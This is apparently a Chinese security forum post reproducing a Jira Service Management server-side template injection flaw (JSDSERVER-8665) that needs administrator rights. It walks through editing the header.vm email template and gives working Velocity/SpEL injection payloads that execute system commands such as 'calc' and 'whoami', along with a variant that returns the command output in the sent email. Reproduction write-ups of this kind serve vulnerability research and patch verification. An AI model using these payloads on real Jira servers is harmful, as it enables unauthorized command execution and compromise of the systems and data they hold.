漏洞概述
Atlassian官方发布了一则漏洞通报
https://jira.atlassian.com/browse/JSDSERVER-8665
从描述中可以看出,该漏洞是一个服务端模板渲染漏洞,需要Jira Administrator权限,影响版本如下:
- version < 4.13.9
- 4.14.0 ≤ version < 4.18.0
漏洞复现
下载JiraService Management 4.17.1版本并安装 ,配置SMTP服务器。
使用管理员登录,进入system/EmailTemplates下载当前模板。
修改并替换header.vm文件。
$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())
进入System/SendEmail发送邮件。
选择邮件用户。
接受邮件,可以看到错误执行结果。
为标准的SPEL表达式注入,参考公开资料,注入命令执行载荷。
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
基于IOUtils实现回显。
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()
后记
这个漏洞是利用Email Templates功能点,基于Velocity模板引擎。通过补丁对比方法可以找到org.springframework.expression.spel.standard.SpelExpressionParser这个类,寻找loadComponents这个功能函数需要技巧。
参考
点击收藏 | 1
关注 | 1